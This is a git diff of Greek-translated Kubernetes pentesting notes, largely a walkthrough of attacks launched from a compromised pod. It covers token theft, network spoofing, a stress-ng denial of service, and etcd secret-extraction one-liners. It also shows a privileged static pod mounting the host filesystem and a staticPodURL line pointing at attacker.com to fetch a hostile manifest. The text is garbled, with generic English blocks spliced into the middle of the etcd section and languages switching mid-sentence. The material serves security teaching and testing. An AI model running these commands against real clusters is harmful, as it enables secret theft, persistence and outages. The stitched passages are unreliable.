μπορείς να l**eak a token from the metadata endpoint** και να κάνεις privilege escalation χρησιμοποιώντας το. +Αν το pod τρέχει μέσα σε ένα **cloud environment** ίσως μπορέσεις να l**eak a token from the metadata endpoint** και να κάνεις privilege escalation χρησιμοποιώντας το. ## Search vulnerable network services -Καθώς βρίσκεσαι μέσα στο Kubernetes environment, αν δεν μπορείς να κάνεις privilege escalation abusing τα current pods privileges και δεν μπορείς να escape from the container, θα πρέπει να **search potential vulnerable services.** +Αφού βρίσκεσαι μέσα στο Kubernetes environment, αν δεν μπορείς να κάνεις privilege escalation abusing τα current pods privileges και δεν μπορείς να escape από το container, θα πρέπει να **search potential vulnerable services.** ### Services -**Για αυτόν τον σκοπό, μπορείς να προσπαθήσεις να πάρεις όλες τις υπηρεσίες του kubernetes environment:** +**Για αυτόν τον σκοπό, μπορείς να προσπαθήσεις να πάρεις όλες τις services του kubernetes environment:** ``` kubectl get svc --all-namespaces ``` -By default, Kubernetes χρησιμοποιεί ένα flat networking schema, που σημαίνει ότι **οποιοδήποτε pod/service μέσα στο cluster μπορεί να μιλήσει με άλλα**. Τα **namespaces** μέσα στο cluster **δεν έχουν κανέναν network security restrictions by default**. Οποιοσδήποτε στο namespace μπορεί να μιλήσει με άλλα namespaces. +By default, Kubernetes uses a flat networking schema, which means **οποιοδήποτε pod/service within the cluster can talk to other**. The **namespaces** within the cluster **don't have any network security restrictions by default**. Οποιοσδήποτε στο namespace can talk to other namespaces. ### Scanning -The following Bash script (taken from a [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) will install and scan the IP ranges of the kubernetes cluster: +Το ακόλουθο Bash script (taken from a [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) θα εγκαταστήσει και θα σαρώσει τα IP ranges του kubernetes cluster: ```bash sudo apt-get update sudo apt-get install nmap @@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}" } nmap-kube-discover ``` -Δείτε τη σελίδα για να μάθετε πώς θα μπορούσατε να **attack Kubernetes specific services** για να **compromise other pods/all the environment**: +Check out the following page to learn how you could **attack Kubernetes specific services** to **compromise other pods/all the environment**: {{#ref}} pentesting-kubernetes-services/ @@ -125,12 +125,12 @@ pentesting-kubernetes-services/ ### Sniffing -Σε περίπτωση που το **compromised pod is running some sensitive service** όπου άλλα pods χρειάζονται authentication, ίσως να μπορείτε να αποκτήσετε τα credentials που στέλνονται από τα άλλα pods **sniffing local communications**. +Σε περίπτωση που το **compromised pod εκτελεί κάποια ευαίσθητη υπηρεσία** όπου άλλα pods χρειάζεται να αυθεντικοποιηθούν, μπορεί να είσαι σε θέση να αποκτήσεις τα credentials που στέλνονται από τα άλλα pods **sniffing local communications**. ## Network Spoofing -By default techniques like **ARP spoofing** (και χάρη σε αυτό **DNS Spoofing**) work in kubernetes network. Τότε, μέσα σε ένα pod, αν έχετε το **NET_RAW capability** (που υπάρχει by default), θα μπορείτε να στείλετε custom crafted network packets και να πραγματοποιήσετε **MitM attacks via ARP Spoofing to all the pods running in the same node.**\ -Επιπλέον, αν το **malicious pod** τρέχει στο **same node as the DNS Server**, θα μπορείτε να πραγματοποιήσετε ένα **DNS Spoofing attack to all the pods in cluster**. +By default techniques like **ARP spoofing** (και χάρη σε αυτό **DNS Spoofing**) work in kubernetes network. Then, inside a pod, if you have the **NET_RAW capability** (which is there by default), you will be able to send custom crafted network packets and perform **MitM attacks via ARP Spoofing to all the pods running in the same node.**\ +Moreover, if the **malicious pod** is running in the **same node as the DNS Server**, you will be able to perform a **DNS Spoofing attack to all the pods in cluster**. {{#ref}} kubernetes-network-attacks.md @@ -138,13 +138,13 @@ kubernetes-network-attacks.md ## Node DoS -Δεν υπάρχει specification of resources στα Kubernetes manifests και **not applied limit** ranges για τα containers. Ως attacker, μπορούμε να **consume all the resources where the pod/deployment running** και να αφήσουμε χωρίς πόρους τα άλλα resources και να προκαλέσουμε ένα DoS για το environment. +There is no specification of resources in the Kubernetes manifests and **not applied limit** ranges for the containers. As an attacker, we can **consume all the resources where the pod/deployment running** and starve other resources and cause a DoS for the environment. -Αυτό μπορεί να γίνει με ένα tool όπως το [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): +This can be done with a tool such as [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): ``` stress-ng --vm 2 --vm-bytes 2G --timeout 30s ``` -Μπορείς να δεις τη διαφορά μεταξύ ενώ τρέχει το `stress-ng` και μετά +Μπορείς να δεις τη διαφορά μεταξύ while running `stress-ng` και after ```bash kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx ``` @@ -153,8 +153,8 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx Αν κατάφερες να **escape from the container** υπάρχουν μερικά ενδιαφέροντα πράγματα που θα βρεις στο node: - Η διεργασία **Container Runtime** (Docker) -- Περισσότερα **pods/containers** να τρέχουν στο node και μπορείς να τα abuse όπως αυτό (περισσότερα tokens) -- Το συνολικό **filesystem** και το **OS** γενικά +- Περισσότερα **pods/containers** που τρέχουν στο node και μπορείς να abuse όπως αυτό (περισσότερα tokens) +- Ολόκληρο το **filesystem** και το **OS** γενικά - Η υπηρεσία **Kube-Proxy** να ακούει - Η υπηρεσία **Kubelet** να ακούει. Έλεγξε τα config files: - Directory: `/var/lib/kubelet/` @@ -171,14 +171,20 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx - `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration** - `/etc/kubernetes/pki` - **Kubernetes Key** +### Image Pull and Registry Credentials + +Μετά το node access, έλεγξε επίσης πώς το node κάνει pull τα private images. Χρήσιμα στοιχεία περιλαμβάνουν runtime image metadata (`crictl images`), `imagePullSecrets` των Pod ή ServiceAccount, ρυθμίσεις registry του containerd όπως `/etc/containerd/config.toml` και `/etc/containerd/certs.d`, και kubelet image credential provider flags όπως `--image-credential-provider-config` και `--image-credential-provider-bin-dir`. + +Μην υποθέσεις ότι ένα cached private image σημαίνει πως έχεις reusable registry credentials. Μπορεί να αποδεικνύει μόνο ότι το image υπάρχει σε αυτό το node. Ωστόσο, static runtime registry credentials, Docker config JSON pull secrets, ή ένα credential provider που μπορεί να mint short-lived pull credentials μπορούν να εκθέσουν private registry access. Οι πρόσφατες εκδόσεις του Kubernetes υποστηρίζουν επίσης service-account-token based kubelet credential providers για image pulls, οπότε έλεγξε αν ο provider χρησιμοποιεί Pod-bound service account tokens και ποιο audience ζητά πριν αναφέρεις το impact. + ### Find node kubeconfig -Αν δεν μπορείς να βρεις το kubeconfig file σε ένα από τα προηγούμενα paths, **έλεγξε το argument `--kubeconfig` της διεργασίας kubelet**: +Αν δεν μπορείς να βρεις το kubeconfig file σε ένα από τα προηγουμένως commented paths, **έλεγξε το argument `--kubeconfig` της διεργασίας kubelet**: ``` ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal ``` -### Κλέψιμο Secrets +### Κλέψε Secrets ```bash # Check Kubelet privileges kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system @@ -199,20 +205,20 @@ echo "" fi done ``` -Το script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) θα **πάρει αυτόματα τα tokens άλλων pods και θα ελέγξει αν έχουν το permission** που ψάχνεις (αντί να τα ελέγχεις 1 προς 1): +Το script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) θα **πάρει αυτόματα τα tokens άλλων pods και θα ελέγξει αν έχουν το permission** που ψάχνεις (αντί να τα ψάχνεις εσύ 1 προς 1): ```bash ./can-they.sh -i "--list -n default" ./can-they.sh -i "list secrets -n kube-system"// Some code ``` ### Privileged DaemonSets -Ένα DaemonSet είναι ένα **pod** που θα **εκτελεστεί** σε **όλους τους nodes του cluster**. Επομένως, αν ένα DaemonSet έχει ρυθμιστεί με ένα **privileged service account,** σε **ΟΛΟΥΣ τους nodes** θα μπορείς να βρεις το **token** αυτού του **privileged service account** που θα μπορούσες να abuse. +Ένα DaemonSet είναι ένα **pod** που θα **εκτελεστεί** σε **όλους τους nodes του cluster**. Επομένως, αν ένα DaemonSet έχει ρυθμιστεί με ένα **privileged service account,** σε **ΟΛΟΥΣ τους nodes** θα μπορείς να βρεις το **token** αυτού του **privileged service account** το οποίο θα μπορούσες να abuse. -Το exploit είναι το ίδιο με της προηγούμενης ενότητας, αλλά τώρα δεν εξαρτάσαι από την τύχη. +Το exploit είναι το ίδιο με αυτό της προηγούμενης ενότητας, αλλά τώρα δεν εξαρτάσαι από την τύχη. ### Pivot to Cloud -Αν το cluster διαχειρίζεται από cloud service, συνήθως το **Node θα έχει διαφορετική πρόσβαση στο metadata** endpoint από το Pod. Επομένως, δοκίμασε να **προσπελάσεις το metadata endpoint από το node** (ή από ένα pod με hostNetwork σε True): +Αν το cluster διαχειρίζεται από ένα cloud service, συνήθως ο **Node θα έχει διαφορετική πρόσβαση στο metadata** endpoint από το Pod. Επομένως, δοκίμασε να **προσπελάσεις το metadata endpoint από το node** (ή από ένα pod με hostNetwork σε True): {{#ref}} kubernetes-pivoting-to-clouds.md @@ -220,95 +226,94 @@ kubernetes-pivoting-to-clouds.md ### Steal etcd -Αν μπορείς να καθορίσεις το [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) του Node που θα τρέξει το container, πάρε ένα shell μέσα σε ένα control-plane node και πάρε τη **etcd database**: +Αν μπορείς να καθορίσεις το [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) του Node που θα εκτελέσει το container, πάρε ένα shell μέσα σε έναν control-plane node και πάρε τη **βάση δεδομένων etcd**: ``` kubectl get nodes NAME STATUS ROLES AGE VERSION k8s-control-plane Ready master 93d v1.19.1 k8s-worker Ready 93d v1.19.1 ``` -control-plane nodes έχουν το **role master** και σε **cloud managed clusters δεν θα μπορείς να τρέξεις τίποτα σε αυτά**. +control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**. #### Read secrets from etcd 1 -Αν μπορείς να τρέξεις το pod σου σε ένα control-plane node χρησιμοποιώντας το `nodeName` selector στο pod spec, ίσως έχεις εύκολη πρόσβαση στη βάση δεδομένων `etcd`, η οποία περιέχει όλη τη ρύθμιση του cluster, συμπεριλαμβανομένων όλων των secrets. +If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets. -Παρακάτω είναι ένας γρήγορος και πρόχειρος τρόπος να πάρεις secrets από το `etcd` αν αυτό τρέχει στο control-plane node στο οποίο βρίσκεσαι. Αν θέλεις μια πιο κομψή λύση που σηκώνει ένα pod με το `etcd` client utility `etcdctl` και χρησιμοποιεί τα credentials του control-plane node για να συνδεθεί στο etcd όπου κι αν τρέχει, δες αυτό το [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) από @mauilion. +Below is a quick and dirty way to grab secrets from `etcd` if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the `etcd` client utility `etcdctl` and uses the control-plane node's credentials to connect to etcd wherever it is running, check out [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion. -**Έλεγξε αν το `etcd` τρέχει στο control-plane node και δες πού βρίσκεται η βάση δεδομένων (Αυτό είναι σε cluster που δημιουργήθηκε με `kubeadm`)** +**Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)** ``` root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir ``` -Για να επιτεθείς σε ένα Kubernetes cluster **από μέσα σε ένα Pod**, συχνά χρειάζεται να κάνεις *escape* από το Pod, να αποκτήσεις πρόσβαση σε πιο ευαίσθητα resources ή να εκμεταλλευτείς κακή ρύθμιση του cluster. +## Attacking Kubernetes from inside a Pod -## Τυπικές επιφάνειες επίθεσης +Kubernetes service account credentials can be used to access the API server and perform actions from inside a container. If a Pod is compromised, the attacker may be able to: -### 1. ServiceAccount tokens +- List, create, and delete resources +- Read secrets +- Move laterally to other workloads +- Escalate privileges depending on the RBAC permissions of the service account -Κάθε Pod μπορεί να έχει ένα mounted **ServiceAccount token** στο filesystem, συνήθως σε: +### Service account tokens + +By default, Pods are mounted with a service account token at: ```bash /var/run/secrets/kubernetes.io/serviceaccount/token ``` -Αυτό το token μπορεί να χρησιμοποιηθεί για αυθεντικοποίηση στο Kubernetes API. Αν το ServiceAccount έχει υπερβολικά δικαιώματα, μπορείς να κάνεις enumerate resources, να διαβάσεις secrets ή ακόμα και να δημιουργήσεις νέα workloads. - -Παράδειγμα: +You can use this token to authenticate against the API server: ```bash -TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) -curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api +curl -k https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT \ + --header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" ``` -### 2. Mounted secrets +You can also inspect the namespace and CA certificate: -Τα Pods συχνά έχουν mounted Kubernetes secrets ως αρχεία. Αν μπορείς να τα διαβάσεις, μπορείς να αποκτήσεις credentials για άλλες υπηρεσίες, databases ή cloud resources. +```bash +cat /var/run/secrets/kubernetes.io/serviceaccount/namespace +cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt +``` -### 3. HostPath mounts +### Discovering permissions -Αν το Pod έχει `hostPath` mount, μπορεί να σου δώσει πρόσβαση σε αρχεία του host. Αυτό μπορεί να οδηγήσει σε πλήρη compromise του node. - -### 4. Privileged containers - -Ένα `privileged` container έχει σχεδόν ίδια πρόσβαση με το host. Από εκεί μπορείς να προσπαθήσεις για container escape, να αλληλεπιδράσεις με το runtime ή να ελέγξεις το node. - -### 5. Kubernetes API access - -Αν έχεις network access προς το Kubernetes API και έγκυρα credentials, μπορείς να: -- κάνεις enumerate namespaces, pods, deployments -- διαβάσεις secrets -- δημιουργήσεις ή τροποποιήσεις workloads -- κινηθείς lateral μέσα στο cluster - -### 6. Misconfigured RBAC - -Λάθος ρυθμίσεις στο RBAC είναι από τις πιο συχνές πηγές escalation. Ένα ServiceAccount μπορεί να έχει δικαιώματα όπως: -- `get` σε secrets -- `list` σε pods -- `create` σε pods -- `exec` σε containers - -Αυτά μπορούν να συνδυαστούν για privilege escalation ή data theft. - -## Χρήσιμες εντολές enumeration +To see what the current service account can do, use `kubectl auth can-i` if `kubectl` is available, or query the API directly. ```bash kubectl auth can-i --list -kubectl get pods -A -kubectl get secrets -A -kubectl get svc -A ``` -Αν το token του ServiceAccount είναι διαθέσιμο, μπορείς να δοκιμάσεις direct API calls με `curl` ή tools όπως `kubectl` αν έχεις πρόσβαση στο config. +If `kubectl` is not installed, you can enumerate permissions with the token and the API. -## Συμπέρασμα +### Common abuse paths -Η επιτυχία στο attacking Kubernetes from inside a Pod εξαρτάται κυρίως από: -- τα mounted credentials -- τα Pod permissions -- το RBAC -- το network exposure προς το API server -- το αν το container είναι `privileged` ή έχει dangerous mounts +If the service account has excessive privileges, an attacker may: + +- Read `secrets` and obtain credentials for other services +- Create a new `Pod` with a privileged container +- Mount host paths and access the node filesystem +- Use `exec` into other containers +- Modify `Role`, `RoleBinding`, `ClusterRole`, or `ClusterRoleBinding` + +### Example: reading secrets + +```bash +curl -k https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/secrets \ + --header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" +``` + +### Example: creating a privileged Pod + +If RBAC allows it, a compromised Pod can create a new privileged Pod and gain access to the host. + +### Defensive measures + +- Use minimal RBAC permissions +- Disable automounting of service account tokens when not needed +- Use NetworkPolicies to limit API server access +- Avoid running containers as `root` +- Use Pod Security controls to restrict privileged workloads ```bash data-dir=/var/lib/etcd ``` @@ -320,61 +325,53 @@ strings /var/lib/etcd/member/snap/db | less ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done ``` -**Η ίδια εντολή, αλλά με κάποια greps ώστε να επιστρέφει μόνο το default token στο namespace kube-system** +**Η ίδια εντολή, αλλά με κάποια greps ώστε να επιστρέφεται μόνο το default token στο namespace kube-system** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default ``` -```markdown -## Πρόσβαση στον Host από το Pod +### Attacking Kubernetes from inside a Pod -Όταν εκτελείς το kubernetes pod σου, μπορείς να ενεργοποιήσεις το `hostNetwork` και να επιτρέψεις στο pod να μοιράζεται το networking namespace του host. Με αυτόν τον τρόπο, το pod θα μπορεί να δει και να επιτεθεί σε άλλες υπηρεσίες που εκτελούνται στο host, να ακούσει traffic στο host network, και να παρακάμψει κάποια network policies. +Usually the most common scenario is attacking **Kubernetes** from inside a pod after compromising a container running within a pod. The pod often has access to the **Kubernetes API** using a service account token mounted inside the container, which can be used to interact with the cluster and potentially escalate privileges. -Ένας άλλος τρόπος είναι να χρησιμοποιήσεις `hostPID` ή `hostIPC`, που επιτρέπουν στο pod να μοιράζεται το process namespace ή το IPC namespace του host αντίστοιχα. Αυτό μπορεί να βοηθήσει σε privilege escalation ή σε lateral movement. +If you find a service account token, you should try to use it with `kubectl` or direct API requests to enumerate the permissions granted to that account. Depending on the **RBAC** configuration, you may be able to create or modify resources such as pods, deployments, or secrets. -Αν το pod έχει mounted κάποιο host path, όπως `/`, `/var/run/docker.sock`, ή άλλα ευαίσθητα directories, τότε μπορείς να έχεις πρόσβαση στο filesystem του host και πιθανώς να καταλήξεις σε πλήρη compromise του node. +For example, if the service account has permissions to create pods, you may be able to launch a new pod with elevated privileges, mount the host filesystem, or access other namespaces. If it can read secrets, you may be able to extract credentials for other services or users. -Επιπλέον, αν το pod τρέχει με υψηλά privileges ή με `privileged: true`, τότε το container isolation μειώνεται σημαντικά και μπορούν να αξιοποιηθούν kernel capabilities για escape από το container. +A common technique is to look for mounted service account credentials in: -### Τι να ελέγξεις - -- `hostNetwork: true` -- `hostPID: true` -- `hostIPC: true` -- `privileged: true` -- Mounted host paths -- Dangerous Linux capabilities όπως `CAP_SYS_ADMIN` -- Access σε `docker.sock` - -### Παράδειγμα - -```yaml -apiVersion: v1 -kind: Pod -metadata: - name: example -spec: - hostNetwork: true - containers: - - name: app - image: nginx - securityContext: - privileged: true +```bash +/var/run/secrets/kubernetes.io/serviceaccount/ ``` -Σε τέτοιες περιπτώσεις, από ένα compromised pod μπορείς συχνά να φτάσεις στον host και να προχωρήσεις σε further post-exploitation. -``` +The important files are: + +- `token` +- `ca.crt` +- `namespace` + +Using these files, you can authenticate to the **Kubernetes API** and enumerate the cluster. + +Another useful target is the node itself. If the pod is running with excessive permissions or privileged settings, you may be able to access the host filesystem through mounted volumes or container escape opportunities. + +In short, once inside a pod, your goals are usually: + +- Enumerate permissions +- Find credentials or secrets +- Abuse **RBAC** +- Create privileged workloads +- Access the host or other namespaces ``` 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] ``` #### Ανάγνωση secrets από το etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) -1. Δημιούργησε ένα snapshot της βάσης δεδομένων **`etcd`**. Δες [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) για περισσότερες πληροφορίες. -2. Μετέφερε το snapshot του **`etcd`** εκτός του node με τον αγαπημένο σου τρόπο. -3. Αποσυμπίεσε τη βάση δεδομένων: +1. Δημιουργήστε ένα snapshot της **`etcd`** βάσης δεδομένων. Ελέγξτε [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) για περισσότερες πληροφορίες. +2. Μεταφέρετε το snapshot της **`etcd`** εκτός του node με τον αγαπημένο σας τρόπο. +3. Αποσυμπιέστε τη βάση δεδομένων: ```bash mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore ``` -4. Ξεκίνησε το **`etcd`** στον τοπικό σου υπολογιστή και κάνε το να χρησιμοποιήσει το κλεμμένο snapshot: +4. Ξεκίνα το **`etcd`** στον τοπικό σου υπολογιστή και κάν' το να χρησιμοποιήσει το κλεμμένο snapshot: ```bash etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db' @@ -389,27 +386,27 @@ etcdctl get /registry/secrets/default/my-secret ``` ### Static/Mirrored Pods Persistence -Τα _Static Pods_ διαχειρίζονται απευθείας από το kubelet daemon σε έναν συγκεκριμένο node, χωρίς το API server να τα παρακολουθεί. Σε αντίθεση με τα Pods που διαχειρίζεται το control plane (για παράδειγμα, ένα Deployment); αντίθετα, το **kubelet watches each static Pod** (και το επανεκκινεί αν αποτύχει). +Οι _Static Pods_ διαχειρίζονται απευθείας από το kubelet daemon σε έναν συγκεκριμένο node, χωρίς το API server να τα παρακολουθεί. Σε αντίθεση με τα Pods που διαχειρίζεται το control plane (για παράδειγμα, ένα Deployment); αντίθετα, το **kubelet watches κάθε static Pod** (και το κάνει restart αν αποτύχει). -Επομένως, τα static Pods είναι πάντα **bound to one Kubelet** σε έναν συγκεκριμένο node. +Επομένως, τα static Pods είναι πάντα **δεσμευμένα σε ένα Kubelet** σε έναν συγκεκριμένο node. -Το **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** για κάθε static Pod. Αυτό σημαίνει ότι τα Pods που τρέχουν σε έναν node είναι ορατά στο API server, αλλά δεν μπορούν να ελεγχθούν από εκεί. Τα ονόματα των Pod θα έχουν ως επίθεμα το node hostname με ένα leading hyphen. +Το **kubelet προσπαθεί αυτόματα να δημιουργήσει ένα mirror Pod στο Kubernetes API server** για κάθε static Pod. Αυτό σημαίνει ότι τα Pods που τρέχουν σε έναν node είναι ορατά στο API server, αλλά δεν μπορούν να ελεγχθούν από εκεί. Τα ονόματα των Pod θα έχουν ως επίθημα το node hostname με ένα leading hyphen. > [!CAUTION] -> Το **`spec` of a static Pod cannot refer to other API objects** (π.χ. ServiceAccount, ConfigMap, Secret, etc. Άρα **cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** στον τρέχοντα node για να compromise το cluster. Αλλά μπορείς να το χρησιμοποιήσεις για να τρέξεις pods σε διαφορετικά namespaces (σε περίπτωση που αυτό είναι χρήσιμο για κάποιον λόγο). +> Το **`spec` ενός static Pod δεν μπορεί να αναφέρεται σε άλλα API objects** (π.χ. ServiceAccount, ConfigMap, Secret, etc. Άρα **δεν μπορείς να abuse this behaviour για να εκκινήσεις ένα pod με αυθαίρετο serviceAccount** στο τρέχον node ώστε να compromise the cluster. Αλλά θα μπορούσες να το χρησιμοποιήσεις για να τρέξεις pods σε διαφορετικά namespaces (αν αυτό είναι χρήσιμο για κάποιο λόγο). -Αν βρίσκεσαι μέσα στο node host μπορείς να το κάνεις να δημιουργήσει ένα **static pod inside itself**. Αυτό είναι πολύ χρήσιμο γιατί μπορεί να σου επιτρέψει να **create a pod in a different namespace** όπως το **kube-system**. +Αν βρίσκεσαι μέσα στο node host μπορείς να το κάνεις να δημιουργήσει ένα **static pod μέσα στον εαυτό του**. Αυτό είναι αρκετά χρήσιμο γιατί μπορεί να σου επιτρέψει να **δημιουργήσεις ένα pod σε διαφορετικό namespace** όπως το **kube-system**. -Για να δημιουργήσεις ένα static pod, τα [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Ουσιαστικά χρειάζεσαι 2 πράγματα: +Για να δημιουργήσεις ένα static pod, τα [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Βασικά χρειάζεσαι 2 πράγματα: -- Configure the param **`--pod-manifest-path=/etc/kubernetes/manifests`** στο **kubelet service**, ή στο **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) και restart το service -- Create the definition on the **pod definition** in **`/etc/kubernetes/manifests`** +- Configure the param **`--pod-manifest-path=/etc/kubernetes/manifests`** στο **kubelet service**, ή στο **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) και κάνε restart το service +- Create the definition στο **pod definition** στο **`/etc/kubernetes/manifests`** **Another more stealth way would be to:** -- Modify the param **`staticPodURL`** from **kubelet** config file and set something like `staticPodURL: http://attacker.com:8765/pod.yaml`. Αυτό θα κάνει το kubelet process να δημιουργήσει ένα **static pod** παίρνοντας το **configuration from the indicated URL**. +- Modify the param **`staticPodURL`** από το **kubelet** config file και βάλε κάτι σαν `staticPodURL: http://attacker.com:8765/pod.yaml`. Αυτό θα κάνει το kubelet process να δημιουργήσει ένα **static pod** παίρνοντας το **configuration from the indicated URL**. -**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): +**Example** του **pod** configuration για να δημιουργηθεί ένα privilege pod στο **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): ```yaml apiVersion: v1 kind: Pod @@ -435,7 +432,7 @@ hostPath: path: / type: Directory ``` -### Delete pods + unschedulable nodes +### Διαγραφή pods + unschedulable nodes Αν ένας attacker έχει **compromised a node** και μπορεί να **delete pods** από άλλα nodes και να **make other nodes not able to execute pods**, τα pods θα εκτελεστούν ξανά στο compromised node και θα μπορεί να **steal the tokens** που τρέχουν μέσα σε αυτά.\ Για [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). diff --git a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md index 0af844801..576de23f1 100644 --- a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md +++ b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -Υπάρχουν **διάφοροι τρόποι να expose services** στο Kubernetes, ώστε τόσο τα **internal** endpoints όσο και τα **external** endpoints να μπορούν να τα προσπελάσουν. Αυτή η διαμόρφωση του Kubernetes είναι αρκετά κρίσιμη, καθώς ο administrator θα μπορούσε να δώσει πρόσβαση σε **attackers σε services στα οποία δεν θα έπρεπε να μπορούν να έχουν πρόσβαση**. +Υπάρχουν **διαφορετικοί τρόποι να εκθέσεις services** στο Kubernetes ώστε τόσο τα **internal** endpoints όσο και τα **external** endpoints να μπορούν να τα προσπελάσουν. Αυτή η Kubernetes configuration είναι αρκετά κρίσιμη, καθώς ο administrator θα μπορούσε να δώσει πρόσβαση σε **attackers σε services στα οποία δεν θα έπρεπε να μπορούν να έχουν πρόσβαση**. ### Automatic Enumeration -Πριν ξεκινήσεις να enumerating τους τρόπους που το K8s προσφέρει για να expose services στο public, να ξέρεις ότι αν μπορείς να list namespaces, services και ingresses, μπορείς να βρεις όλα όσα είναι exposed to the public με: +Πριν ξεκινήσεις να enumerating τους τρόπους που το K8s προσφέρει για να εκθέτει services στο public, να ξέρεις ότι αν μπορείς να κάνεις list namespaces, services και ingresses, μπορείς να βρεις ό,τι είναι exposed στο public με: ```bash kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do echo "Namespace: $ns" @@ -20,13 +20,13 @@ done | grep -v "ClusterIP" ``` ### ClusterIP -Ένα **ClusterIP** service είναι το **προεπιλεγμένο** Kubernetes **service**. Σου δίνει ένα **service μέσα** στο cluster σου, στο οποίο μπορούν να έχουν πρόσβαση άλλες εφαρμογές μέσα στο cluster σου. Δεν υπάρχει **εξωτερική πρόσβαση**. +Ένα **ClusterIP** service είναι το **προεπιλεγμένο** Kubernetes **service**. Σου δίνει ένα **service μέσα** στο cluster σου, στο οποίο μπορούν να έχουν πρόσβαση άλλες apps μέσα στο cluster σου. Δεν υπάρχει **εξωτερική πρόσβαση**. Ωστόσο, αυτό μπορεί να προσπελαστεί χρησιμοποιώντας το Kubernetes Proxy: ```bash kubectl proxy --port=8080 ``` -Τώρα, μπορείτε να πλοηγηθείτε μέσω του Kubernetes API για να έχετε πρόσβαση σε services χρησιμοποιώντας αυτό το σχήμα: +Τώρα, μπορείτε να περιηγηθείτε μέσω του Kubernetes API για να αποκτήσετε πρόσβαση σε services χρησιμοποιώντας αυτό το σχήμα: `http://localhost:8080/api/v1/proxy/namespaces//services/:/` @@ -34,7 +34,7 